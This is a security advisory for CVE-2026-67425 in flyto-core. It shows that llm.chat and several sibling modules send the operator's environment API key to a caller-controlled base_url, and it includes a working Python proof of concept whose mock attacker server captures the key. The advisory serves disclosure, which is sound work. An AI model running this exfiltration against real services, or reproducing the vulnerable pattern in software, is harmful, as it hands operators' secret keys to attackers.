CVE-2026-67425

llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.

Affected code

src/core/modules/atomic/llm/chat.py (_call_openai):

base_url = params.get('base_url')            # caller-controlled
if base_url:
    validate_url_with_env_config(base_url)    # SSRF check only; a public attacker host passes
if not api_key:
    api_key = os.getenv('OPENAI_API_KEY')     # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload)   # sent to base_url

The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.

Reproduction

Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.

#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # stand-in for the attacker's public host
CAPTURED = {}

class Attacker(BaseHTTPRequestHandler):
    def do_POST(self):
        CAPTURED["auth"] = self.headers.get("Authorization")
        ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
        b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
        self.send_response(200); self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
    def log_message(self, *a): pass

async def main():
    from core.modules.atomic import register_all
    from core.modules.registry import ModuleRegistry
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
    res = await ModuleRegistry.execute("llm.chat", params={
        "prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
    }, context={})
    print("module ok:", res.get("ok"))
    print("Authorization received by attacker:", CAPTURED.get("auth"))

if __name__ == "__main__":
    asyncio.run(main())

Output:

module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a

Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.
